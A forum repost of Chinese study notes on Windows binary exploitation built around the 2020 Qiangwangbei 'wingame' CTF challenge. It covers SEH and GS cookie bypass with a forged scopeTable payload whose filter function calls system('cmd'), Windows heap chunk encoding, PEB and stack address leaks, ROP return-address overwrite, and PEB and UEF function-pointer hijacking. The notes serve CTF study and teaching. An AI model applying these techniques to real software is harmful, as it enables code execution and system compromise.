搜索

[18261] 2021-01-16_windowspwn学习笔记（附wingame下载地址）

文档创建者：s7ckTeam
浏览次数：23
最后更新：2025-01-18
2021-01-16_windowspwn学习笔记（附wingame下载地址） w i n d o w s   p w n 学 习 笔 记 （ 附 w i n g a m e 下 载 地 址 ） s n o w l e o p a r d * * * *   H A C K 之 道   2 0 2 1 - 0 1 - 1 6 安 装 安 装 w i n p w n p i p   i n s t a l l   w i n p w n p i p   i n s t a l l   p e f i l e p i p   i n s t a l l   k e y s t o n e - e n g i n e p i p   i n s t a l l   c a p s t o n e 栈 溢 出 栈 溢 出 相 关 结 构 体 相 关 结 构 体 3 2 为 系 统 下 S E H 结 构 体 / / s e h F r a m e   _ E H 3 _ E X C E P T I O N _ R E G I S T R A T I O N   s t r u c   ;   ( s i z e o f = 0 x 1 0 ,   a l i g n = 0 x 4 ,   c o p y o f _ 4 ) 0 x 0   N e x t                         d d   ?                                         ;   o f f s e t 0 x 4   E x c e p t i o n H a n d l e r   d d   ?                                       ;   o f f s e t 0 x 8   S c o p e T a b l e             d d   ?                                         ;   X R E F :   _ m a i n + 2 1 / w   ;   o f f s e t 0 x C   T r y L e v e l                 d d   ?                                         ;   X R E F :   _ m a i n + 5 7 / w 0 x 1 0   _ E H 3 _ E X C E P T I O N _ R E G I S T R A T I O N   e n d s / / s c o p e T a b l e _ E H 4 _ S C O P E T A B L E   s t r u c   ;   ( s i z e o f = 0 x 1 0 ,   a l i g n = 0 x 4 ,   c o p y o f _ 9 ,   v a r i a b l e   s i z e ) 0 x 0   G S C o o k i e O f f s e t     d d   ? 0 x 4   G S C o o k i e X O R O f f s e t   d d   ? 0 x 8   E H C o o k i e O f f s e t     d d   ? 0 x C   E H C o o k i e X O R O f f s e t   d d   ? 0 x 1 0   S c o p e R e c o r d           _ E H 4 _ S C O P E T A B L E _ R E C O R D   0   d u p ( ? ) 0 x 1 0   _ E H 4 _ S C O P E T A B L E   e n d s
/ / s c o p e T a b l e _ R e c o r d _ E H 4 _ S C O P E T A B L E _ R E C O R D   s t r u c   ;   ( s i z e o f = 0 x C ,   a l i g n = 0 x 4 ,   c o p y o f _ 8 ) 0 x 0   E n c l o s i n g L e v e l     d d   ? 0 x 4   F i l t e r F u n c             d d   ?                                         ;   o f f s e t 0 x 8   H a n d l e r F u n c           d d   ?                                         ;   o f f s e t 0 x C   _ E H 4 _ S C O P E T A B L E _ R E C O R D   e n d s 触 发 异 常 源 码 触 发 异 常 源 码 G S   C o o k i e s   验 证 代 码 v o i d   _ _ c d e c l   V a l i d a t e L o c a l C o o k i e s ( v o i d   ( _ _ f a s t c a l l   * c o o k i e C h e c k F u n c t i o n ) ( u n s i g n e d   i n t ) ,   _ E H 4 _ S C O P E T A B L E   * s c o p e T a b l e ,   c h a r   * f r a m e P o i n t e r ) {         u n s i g n e d   i n t   v 3 ;   / /   e s i @ 2         u n s i g n e d   i n t   v 4 ;   / /   e s i @ 3         i f   (   s c o p e T a b l e - > G S C o o k i e O f f s e t   ! =   - 2   )         {                 v 3   =   * ( _ D W O R D   * ) & f r a m e P o i n t e r [ s c o p e T a b l e - > G S C o o k i e O f f s e t ]   ^   ( u n s i g n e d   i n t ) & f r a m e P o i n t e r [ s c o p e T a b l e - > G S C o o k i e X O R O f f s e t ] ;                 _ _ g u a r d _ c h e c k _ i c a l l _ f p t r ( c o o k i e C h e c k F u n c t i o n ) ;                 ( ( v o i d   ( _ _ t h i s c a l l   * ) ( _ D W O R D ) ) c o o k i e C h e c k F u n c t i o n ) ( v 3 ) ;         }         v 4   =   * ( _ D W O R D   * ) & f r a m e P o i n t e r [ s c o p e T a b l e - > E H C o o k i e O f f s e t ]   ^   ( u n s i g n e d   i n t ) & f r a m e P o i n t e r [ s c o p e T a b l e - > E H C o o k i e X O R O f f s e t ] ;         _ _ g u a r d _ c h e c k _ i c a l l _ f p t r ( c o o k i e C h e c k F u n c t i o n ) ;         ( ( v o i d   ( _ _ t h i s c a l l   * ) ( _ D W O R D ) ) c o o k i e C h e c k F u n c t i o n ) ( v 4 ) ; } 会 验 证 两 个 条 件 ：
1 、 f r a m e P o i n t e r [ s c o p e T a b l e - > G S C o o k i e O f f s e t ]   ^   f r a m e P o i n t e r [ s c o p e T a b l e - > G S C o o k i e X O R O f f s e t ] = =   _ _ s e c u r i t y _ c o o k i e 2 、 f r a m e P o i n t e r [ s c o p e T a b l e - > E H C o o k i e O f f s e t ]   ^   f r a m e P o i n t e r [ s c o p e T a b l e - > E H C o o k i e X O R O f f s e t ] = =   _ _ s e c u r i t y _ c o o k i e 要 绕 过 这 检 查 1 ， 可 以 伪 造 。 但 是 对 于 条 件 2 ， 还 没 有 办 法 。 异 常 触 发 函 数 i n t   _ _ c d e c l   _ e x c e p t _ h a n d l e r 4 _ c o m m o n ( u n s i g n e d   i n t   * s e c u r i t y C o o k i e s ,   v o i d   ( _ _ f a s t c a l l   * c o o k i e C h e c k F u n c t i o n ) ( u n s i g n e d   i n t ) ,   _ E X C E P T I O N _ R E C O R D   * e x c e p t i o n R e c o r d ,   u n s i g n e d   _ _ i n t 3 2   s e h F r a m e ,   _ C O N T E X T   * c o n t e x t ) {         / /   异 或 解 密   s c o p e   t a b l e         s c o p e T a b l e _ 1   =   ( _ E H 4 _ S C O P E T A B L E   * ) ( * s e c u r i t y C o o k i e s   ^   * ( _ D W O R D   * ) ( s e h F r a m e   +   8 ) ) ;         / /   s e h F r a m e = N e x t ,   f r a m e P o i n t e r = e b p         f r a m e P o i n t e r   =   ( c h a r   * ) ( s e h F r a m e   +   1 6 ) ;         s c o p e T a b l e   =   s c o p e T a b l e _ 1 ;         / /   验 证   G S         V a l i d a t e L o c a l C o o k i e s ( c o o k i e C h e c k F u n c t i o n ,   s c o p e T a b l e _ 1 ,   ( c h a r   * ) ( s e h F r a m e   +   1 6 ) ) ;         _ _ e x c e p t _ v a l i d a t e _ c o n t e x t _ r e c o r d ( c o n t e x t ) ;         i f   (   e x c e p t i o n R e c o r d - > E x c e p t i o n F l a g s   &   0 x 6 6   )         {                 . . . . . .         }         e l s e         {                 e x c e p t i o n P o i n t e r s . E x c e p t i o n R e c o r d   =   e x c e p t i o n R e c o r d ;                 e x c e p t i o n P o i n t e r s . C o n t e x t R e c o r d   =   c o n t e x t ;                 t r y L e v e l   =   * ( _ D W O R D   * ) ( s e h F r a m e   +   1 2 ) ;                 * ( _ D W O R D   * ) ( s e h F r a m e   -   4 )   =   & e x c e p t i o n P o i n t e r s ; s c o p e T a b l e - > G S C o o k i e O f f s e t = 0 x f f f f f f f e
                i f   (   t r y L e v e l   ! =   - 2   )                 {                         w h i l e   (   1   )                         {                                 v 8   =   t r y L e v e l   +   2   *   ( t r y L e v e l   +   2 ) ;                                 f i l t e r F u n c   =   ( i n t   ( _ _ f a s t c a l l   * ) ( _ D W O R D ,   _ D W O R D ) ) * ( & s c o p e T a b l e _ 1 - > G S C o o k i e X O R O f f s e t   +   v 8 ) ;                                 s c o p e T a b l e R e c o r d   =   ( _ E H 4 _ S C O P E T A B L E _ R E C O R D   * ) ( ( c h a r   * ) s c o p e T a b l e _ 1   +   4   *   v 8 ) ;                                 e n c l o s e i n g L e v e l   =   s c o p e T a b l e R e c o r d - > E n c l o s i n g L e v e l ; / / - 2 跳 出 后 面 的 循 环                                 s c o p e T a b l e R e c o r d _ 1   =   s c o p e T a b l e R e c o r d ;                                 i f   (   f i l t e r F u n c   )                                 {                                         / /   调 用   F i l t e r F u n c                                         f i l t e r F u n c R e t   =   _ E H 4 _ C a l l F i l t e r F u n c ( f i l t e r F u n c ) ;                                         . . . . . .                                         i f   (   f i l t e r F u n c R e t   >   0   )                                         {                                                 . . . . . .                                                 / /   调 用   H a n d l e r F u n c                                                 _ E H 4 _ T r a n s f e r T o H a n d l e r ( s c o p e T a b l e R e c o r d _ 1 - > H a n d l e r F u n c ,   v 5   +   1 6 ) ;                                                 . . . . . .                                         }                                 }                                 . . . . . .                                 t r y L e v e l   =   e n c l o s e i n g L e v e l ;                                 i f   (   e n c l o s e i n g L e v e l   = =   - 2   )                                         b r e a k ;                                 s c o p e T a b l e _ 1   =   s c o p e T a b l e ;                         }                         . . . . . .                 }         }     . . . . . . } 这 里 要 劫 持 f i l t e r F u n c ， 就 需 要 劫 持 s c o p e T a b l e 。 这 需 要 满 足 两 个 条 件 ： 需 要 能 覆 盖 掉 s e h F r a m e 结 构 体 ， 并 且 能 泄 露 s e c u r i t y C o o k i e s 。
p a y l o a d # 伪 造 s c o p e T a b l e s c o p e T a b l e   =   [         0 x 0 F F F F F F F E ,         # G S C o o k i e O f f s e t         0 ,                             # G S C o o k i e X O R O f f s e t         0 x 0 F F F F F F C C ,         # E H C o o k i e O f f s e t         0                               # E H C o o k i e X O R O f f s e t ] s c o p e T a b l e _ R e c o r d   =   [         0 x f f f f f f f e ,           # E n c l o s i n g L e v e l = - 2         s y s t e m ( ' c m d ' ) ,     # F i l t e r F u n c           0 ] s e h F r a m e   =   [         N e x t ,                               # o r i g i n a l         E x c e p t i o n H a n d l e r ,       # o r i g i n a l         s c o p e T a b l e _ a d d r ,         # f a k e         t r y l e v e l                         # 如 果 要 伪 造 t r y l e v e l ， 就 需 要 修 改 s c o p e T a b l e ， 否 则 就 不 篡 改 ， 维 持 o r i g i n a l ] p a y l o a d   =     f l a t ( s c o p e T a b l e   +   s c o p e T a b l e _ R e c o r d ) p a y l o a d   + =   p a d d i n g p a y l a o d   + =   G S # _ _ _ s e c u r i t y _ c o o k i e   相 当 于 c a n a r y p a y l o a d   + =   N e x t   +   E x c e p t i o n H a n d l e r   + s c o p e T a b l e _ a d d r   +   f l a t ( s e h F r a m e ) # 覆 盖 s e h F r a m e 结 构 其 中 G S 的 位 置 计 算 方 法 如 下 ： 要 满 足 ， s c o p e T a b l e 结 构 体 的 E H C o o k i e O f f s e t 变 量 和 E H C o o k i e X O R O f f s e t 变 量 所 对 应 的 e b p 的 偏 移 的 位 置 的 值 抑 或 后 等 于 G S 。 因 此 通 常 将 E H C o o k i e X O R O f f s e t 设 置 为 0 ， 那 么 G S 放 置 的 位 置 就 等 于 e b p   +   s c o p e T a b l e - > E H C o o k i e O f f s e t 。 6 4 位 与 位 与 3 2 位 的 区 别 位 的 区 别 1 、 w i n d o w s   6 4 位 程 序 函 数 调 用 的 参 数 顺 序 依 次 为 r c x , r d x , r 8 , r 9 2 、 在 调 用 s y s t e m ( c m d . e x e ) 过 程 中 ， 若 出 现 之 类 的 错 误 而 导 致 不 能 反 弹 s h e l l ， 这 是 因 为 M O V A P S 指 令 需 要 1 6 字 节 对 齐 ， 因 此 需 要 在 r o p 链 中 修 改 g a d g e t 来 调 整 栈 空 间 堆 溢 出 堆 溢 出 [ e b p   +   s c o p e T a b l e - > E H C o o k i e O f f s e t ]   ^   [ e b p   +   s c o p e T a b l e - > E H C o o k i e X O R O f f s e t ] = G S M O V A P S   [ r s p + 0 x 4 f 0 ] , x m m 0
相 关 结 构 体 相 关 结 构 体 3 2 位 下 ， c h u n k 头 部 字 段 信 息 S m a l l T a g I n d e x   实 际 上 是 安 全 c o o k i e ， 算 法 如 下 ： H e a p   E n t r y 相 当 于 L i n u x 下 的 c h u n k ， w i n d o w s 对 前 8 个 字 节 进 行 了 加 密 ， 加 密 方 式 ： 与 H E A P 结 构 0 x 5 0 偏 移 处 8 个 字 节 抑 或 例 题 ： 2 0 2 0 强 网 杯 w i n g a m e n t d l l ! _ H E A P _ F R E E _ E N T R Y + 0     S i z e                                         # c h u n k 的 大 小 ， 实 际 大 小 为 S i z e * 8 + 2     P r e v i o u s S i z e                         # 前 一 个 c h u n k 的 大 小 ， 实 际 大 小 * 8 + 4     S m a l l T a g I n d e x                       # 用 于 检 查 堆 溢 出 的 C o o k i e + 5     F l a g s                                       # 标 志 位 + 6     U n u s e d B y t e s                           # 用 于 对 齐 的 字 节 数 + 7     S e g m e n t I n d e x                         # 所 属 堆 段 号 + 8     F r e e L i s t         : [ F D - B K ] F l a g s 标 志 位 ： 0 x 0 1   B u s y                               # 该 块 处 于 占 用 状 态 0 x 0 2   E x t r a   p r e s e n t             # 该 块 存 在 额 外 描 述 0 x 0 4   F i l l   p a t t e r n               # 使 用 固 定 模 式 填 充 堆 块 0 x 0 8   V i r t u a l   A l l o c             # 虚 拟 分 配 0 x 1 0   L a s t   e n t r y                   # 该 段 最 后 一 个 堆 块 _ H E A P . _ H E A P _ E N T R Y . c o o k i e = _ H E A P _ E N T R Y . c o o k i e ^ ( ( B Y T E ) & _ H E A P _ E N T R Y / 8 )
例 如 0 x E 5 0 0 0 0 处 为 H E A P 结 构 ， 其 H E A P + 0 x 5 0 为 解 密 密 钥 ， 而 一 般 密 钥 都 是 0 0 结 尾 0 C 5 F B B 3 E F E 5 6 0 0
将 c h u n k 的 前 8 个 字 节 与 密 钥 逐 位 异 或 ， 得 到 。 s i z e = 0 x 2 1 * 8 = 0 x 1 0 8 利 用 方 式 利 用 方 式 1 、 修 改 栈 返 回 地 址 、 修 改 栈 返 回 地 址 R O P （ 最 常 用 ） （ 最 常 用 ） 首 先 需 要 实 现 任 意 读 写 ， 泄 露 栈 地 址 的 过 程 如 下 ： n t d l l   - >   n t d l l ! P e b L d r 泄 露 p e b   - > 计 算 处 t e b   - >   栈 地 址   - > 遍 历 查 找 r e t 地 址 r e t _ c o n t e n t   =   b a s e   +   0 x 2 3 9 a r e t _ a d d r   =   0 f o r   i   i n   r a n g e ( s t a c k b a s e , s t a c k b a s e - 0 x 1 0 0 0 , - 4 ) :         i f   r e t _ a d d r = = 0 :                 t m p   =   r e ( i )                 i f   t m p = = r e t _ c o n t e n t :                         r e t _ a d d r   =   i                         b r e a k a s s e r t   r e t _ a d d r > 0 一 段 有 用 的 g a d g e t   :   m o v   [ r c x ] , r d x ;   r e t 这 段 g a d g e t 可 以 在 n t d l l . d l l 中 可 以 找 到 ， 如 果 配 合 上 可 以 实 现 任 意 地 址 写 并 且 在 r o p 中 传 参 时 也 能 发 挥 很 好 的 作 用 在 在 i d a 中 搜 索 中 搜 索 p e b 偏 移 的 方 法 ： 偏 移 的 方 法 ： 2 1 0 0 0 1 2 0   0 1 0 2 0 0 0 8 p o p   r c x ; r e t 以 及 p o p   r d x ; r e t
现 在 微 软 应 该 是 把 在 线 符 号 表 给 墙 了 ， 因 为 某 些 原 因 不 能 科 学 上 网 （ 懒 ） ， 所 以 在 用 w i n d b g 的 时 候 无 法 下 载 符 合 本 地 系 统 的 p d b 。 这 里 我 使 用 x 6 4 d b g 进 行 调 试 。 1 、 在 i d a 中 打 开 n t d l l ， 搜 索 函 数 L d r Q u e r y I m a g e F i l e E x e c u t i o n O p t i o n s ， 交 叉 引 用 找 到 调 用 它 的 地 方 ， 如 下 图 所 示 ： 2 、 在 上 面 可 以 发 现 一 个 位 于 . d a t a 的 全 局 变 量 p e b _ 4 4 （ 我 自 己 命 名 的 ） ， 然 后 找 到 它 在 . d a t a 中 的 位 置 ， 如 下 图 所 示 ： 3 、 可 以 看 到 p e b _ 4 4 的 偏 移 为 n t d l l + 0 x 1 1 d c 5 4 （ 这 个 偏 移 是 我 本 机 w i n 1 0   版 本 号 为 1 8 3 6 3 的 3 2 位 n t d l l 的 偏 移 ） 4 、 最 后 在 调 试 器 中 定 位 到 n t d l l + 0 x 1 1 d c 5 4 ， 可 以 看 到 一 个 p e b + 0 x 4 4 的 值 ， 从 而 可 以 泄 露 p e b 。
在 N T 内 核 系 统 中 f s 寄 存 器 指 向 T E B 结 构 ， T E B + 0 x 3 0 处 指 向 P E B 结 构 ， P E B + 0 x 0 c 处 指 向 P E B _ L D R _ D A T A 结 构 ， P E B _ L D R _ D A T A + 0 x 1 c 处 存 放 一 些 指 向 动 态 链 接 库 信 息 的 链 表 地 址 ， w i n 7 下 第 一 个 指 向 n t d l . d l l ， 第 三 个 就 是 k e r n e l 3 2 . d l l 的 。 可 以 通 过 查 看 线 程 T E B + 0 x 3 0 的 内 容 检 查 是 否 为 正 确 的 P E B 地 址 或 者 查 看 P E B + 0 x c 是 否 为 n t d l l 中 的 地 址 。 5 、 泄 露 栈 地 址 P E B - > T E B - > s t a c k P E B 和 T E B 的 偏 移 是 固 定 的 ， 在 本 地 调 试 中 的 偏 移 为 T E B = P E B + 0 x 3 0 0 0 在 T E B 前 三 个 指 针 都 是 栈 的 指 针 ， 第 一 个 估 计 是 e b p 附 近 的 S E H _ R E C O D E [ 1 ] 的 地 址 指 针 ， 第 二 个 估 计 是 s t a c k   b a s e ， 第 三 个 估 计 是 s t a c k   e n d 。 我 们 搜 索 栈 空 间 寻 找 返 回 地 址 时 ， 大 概 从 s t a c k   b a s e - 0 x 1 0 0 0 开 始 搜 索 到 s t a c k   b a s e 这 一 个 页 面 的 内 容 就 行 了 。 从 从 k e r n e l 3 2 . d l l 泄 露 泄 露 n t d l l 如 果 原 程 序 中 没 有 n t d l l 的 导 入 表 ， 可 以 从 k e r n e l 3 2 . d l l 中 泄 露 ， 方 法 如 下 （ 源 自 h t t p s : / / x z . a l i y u n . c o m / t / 6 3 1 9 # t o c - 4 ）   ： 可 以 从 k e r n e l 3 2 . d l l 中 定 位 到 N t C r e a t e F i l e 函 数 的 偏 移 ， 因 为 N t C r e a t e F i l e 函 数 是 从 n t d l l . d l l 的 导 入 函 数 。 在 我 w i n 1 0   1 8 3 6 3 虚 拟 机 中 ， 偏 移 为 k e r n e l 3 2 . d l l + 0 x 8 1 9 B C 。 再 进 一 步 ， 如 果 只 泄 露 了 一 个 d l l 动 态 库 的 地 址 ， 只 要 其 有 其 他 d l l 库 的 导 入 函 数 ， 我 们 就 有 可 能 从 其 内 存 空 间 中 泄 露 处 其 他 d l l 库 的 地 址 。 2 、 篡 改 、 篡 改 P E B 中 的 函 数 指 针 中 的 函 数 指 针 P E B 结 构 中 存 放 了 R t l E n t e r C r i t i c a l S e c t i o n ( ) 和 R t l L e a v e C r i t i c a l S e c t i o n ( ) 函 数 指 针 ， 在 程 序 正 常 退 出 时 会 调 用 E x i t P r o c e s s ( ) ， 为 了 同 步 线 程 该 函 数 又 会 调 用 R t l E n t e r C r i t i c a l S e c t i o n ( ) 及 R t l L e a c e C r i t i c a l S e c t i o n ( ) 进 行 处 理 。 / / 3 2 位 R t l E n t e r C r i t i c a l S e c t i o n   =   & P E B   +   0 x 2 0 ; R t l L e a v e C r i t i c a l S e c t i o n   =   & P E B   +   0 x 2 4 ; 3 、 、 U E F 系 统 默 认 异 常 处 理 函 数 （ U E F ， U n h a n d l e r   E x c e p t i o n   F i l t e r ） 是 系 统 处 理 异 常 时 最 后 调 用 的 一 个 异 常 处 理 例 程 ， 在 堆 溢 出 中 ， 只 需 将 这 一 地 址 覆 盖 为 我 们 的 s h e l l c o d e 地 址 即 可 。 获 取 U E F 地 址 的 方 法 可 以 通 过 查 看 S e t U n h a n d l e d E x c e p t i o n F i l t e r ( ) 的 代 码 来 定 位 ， 接 着 再 找 到 操 作 U n h a n d l e d E x c e p t i o n F i l t e r 指 针 的 M O V 指 令 7 7 E 9 3 1 1 4       A 1   B 4 7 3 E D 7 7             M O V   E A X , D W O R D   P T R   D S : [ 7 7 E D 7 3 B 4 ]     ; U n h a n d l e d E x c e p t i o n F i l t e r 指 针 7 7 E 9 3 1 1 9       3 B C 6                           C M P   E A X , E S I 7 7 E 9 3 1 1 B       7 4   1 5                         J E   S H O R T   k e r n e l 3 2 . 7 7 E 9 3 1 3 2 7 7 E 9 3 1 1 D       5 7                               P U S H   E D I 7 7 E 9 3 1 1 E       F F D 0                           C A L L   E A X
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理